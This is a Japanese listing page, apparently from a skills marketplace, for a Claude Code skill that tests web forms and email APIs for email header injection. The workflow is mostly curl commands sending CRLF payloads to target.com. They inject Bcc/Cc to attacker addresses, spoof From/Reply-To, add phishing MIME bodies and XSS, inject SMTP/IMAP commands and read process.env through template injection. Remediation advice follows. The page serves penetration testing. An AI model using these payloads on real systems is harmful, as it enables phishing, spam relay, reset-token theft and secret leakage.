mcpField
T
testing-for-email-header-injection

testing-for-email-header-injection

github.com/mukul975セキュリティ35.2k254 回インストール8 週間前に更新
リポジトリ

testing-for-email-header-injection について

メール機能や API のヘッダーインジェクションを調べるセキュリティテスト用スキルです。入力箇所の特定、CRLF やプロトコルペイロードの試行、結果の検証を案内します。

主な機能

  1. 01メール注入箇所の特定
  2. 02CRLF ヘッダー注入のテスト
  3. 03SMTP・IMAP コマンドの検証
  4. 04JSON メール API のテスト
  5. 05ヘッダーと配信結果の確認

活用シーン

  1. 01問い合わせ・フィードバックフォームの評価
  2. 02パスワードリセットメールのテスト
  3. 03メール送信 API エンドポイントの監査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-email-header-injection

インストール後、Claude Code で/testing-for-email-header-injectionを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

メールヘッダーインジェクションのテスト

使用する場面

  • 問い合わせフォーム、フィードバックフォーム、「友達にメールする」機能をテストする場合
  • パスワードリセットメール機能を評価する場合
  • ニュースレターの登録や通知メールシステムをテストする場合
  • ユーザー入力に基づいてメールを送信するアプリケーションのペネトレーションテストを行う場合
  • メール関連の API エンドポイントを監査してヘッダーインジェクションを確認する場合

前提条件

  • HTTP リクエストの傍受と変更に使用する Burp Suite
  • SMTP プロトコルとメールヘッダーの構造に関する理解
  • CRLF インジェクション手法(\r\n シーケンス)に関する知識
  • インジェクションされたメールを受信するためのテスト用メールアカウント
  • メール送信をトリガーするアプリケーション機能へのアクセス
  • インジェクションの試行を監視するための SMTP サーバーログへのアクセス

ワークフロー

ステップ 1 — メールインジェクションのポイントを特定する
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields

# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms

# Test basic functionality first
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello&message=Test message"
ステップ 2 — CRLF ヘッダーインジェクションをテストする
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ACc:[email protected]&message=Test"

# Inject BCC header
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]%0ABcc:[email protected]&message=Test"

# Inject via the name field
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:[email protected]&[email protected]&message=Test"

# Inject via subject field
curl -X POST http://target.com/contact \
  -d "name=Test&[email protected]&subject=Hello%0ABcc:[email protected]&message=Test"

# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
  -d "[email protected]%0D%0ACc:[email protected]"

# %0A (LF only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0ACc:[email protected]"

# %0D (CR only)
curl -X POST http://target.com/contact \
  -d "[email protected]%0DCc:[email protected]"

# Double encoding
curl -X POST http://target.com/contact \
  -d "[email protected]%250ACc:[email protected]"
ステップ 3 — カスタムメールコンテンツをインジェクションする
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# Inject additional MIME parts
curl -X POST http://target.com/contact \
  -d "[email protected]%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# Override From header for email spoofing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AFrom:[email protected]"

# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
  -d "[email protected]%0AReply-To:[email protected]"
ステップ 4 — IMAP/SMTP インジェクションをテストする
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP command injection
curl -X POST http://target.com/api/send \
  -d "[email protected]%0ARCPT TO:[email protected]"

# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
  -d "[email protected]%0AVRFY admin"

# Test SMTP relay abuse
curl -X POST http://target.com/contact \
  -d "[email protected]%0ATo:[email protected]%0ATo:[email protected]%0ATo:[email protected]"
ステップ 5 — JSON ベースのメール API をテストする
# JSON API header injection
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]\nCc:[email protected]","subject":"Test","body":"Test"}'

# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["[email protected]","[email protected]"],"subject":"Test","body":"Test"}'

# Template injection in email body
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"[email protected]","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
ステップ 6 — 発見事項を検証する
# Check if injected CC/BCC emails were received
# Monitor [email protected] inbox for received copies

# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers

# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC

# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)

主な概念

概念説明
CRLF インジェクション改行復帰文字とラインフィード文字をインジェクションし、新しいメールヘッダーを作成すること
ヘッダーインジェクション送信メールに許可されていないヘッダー(Cc、Bcc、From)を追加すること
スパム中継メール機能を悪用し、任意の宛先にスパムを送信すること
メールスプーフィングFrom または Reply-To ヘッダーを変更し、信頼できる送信者になりすますこと
MIME 操作MIME 境界をインジェクションし、メール本文の内容を上書きすること
SMTP コマンドインジェクションサニタイズされていないメールパラメーターを通じて、生の SMTP コマンドをインジェクションすること
改行文字メールヘッダーの区切りに使用される \r\n(CRLF)、\n(LF)、\r(CR)

ツールとシステム

ツール用途
Burp Suiteメール関連のフォーム送信を変更する HTTP プロキシ
swaksSMTP テストとヘッダーインジェクションの検証に使用する Swiss Army Knife
OWASP ZAPメールインジェクション検出機能を備えた自動スキャナー
mailhogインジェクションされたメールを捕捉するローカル SMTP テストサーバー
smtp4devメールインジェクションの結果を監視する開発用 SMTP サーバー
Nucleiメールヘッダーインジェクション検出用テンプレートを備えたテンプレートスキャナー

よくあるシナリオ

  1. スパム中継 — BCC ヘッダーをインジェクションして、ターゲットの SMTP サーバー経由で大量のメールを中継し、送信者ドメインを信頼するスパムフィルターを回避する
  2. 問い合わせフォームを利用したフィッシング — From と Reply-To ヘッダーを変更し、ターゲット組織から送信されたように見えるフィッシングメールを送信する
  3. パスワードリセットの乗っ取り — パスワードリセットのフローで CC ヘッダーをインジェクションし、被害者に送信されるリセットトークンのコピーを受け取る
  4. メール内容の上書き — MIME Content-Type ヘッダーをインジェクションし、正規のメール本文を悪意のあるフィッシングコンテンツに置き換える
  5. 内部メールの悪用 — ヘッダーインジェクションを利用して、通常はアプリケーション経由でアクセスできない内部アドレスにメールを送信する

出力形式

## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)

### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | [email protected]%0ACc:[email protected] | CC header injected | High |
| 2 | email | [email protected]%0ABcc:[email protected] | BCC header injected | High |
| 3 | name | Test%0AFrom:[email protected] | From spoofing | Medium |

### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionality

コメント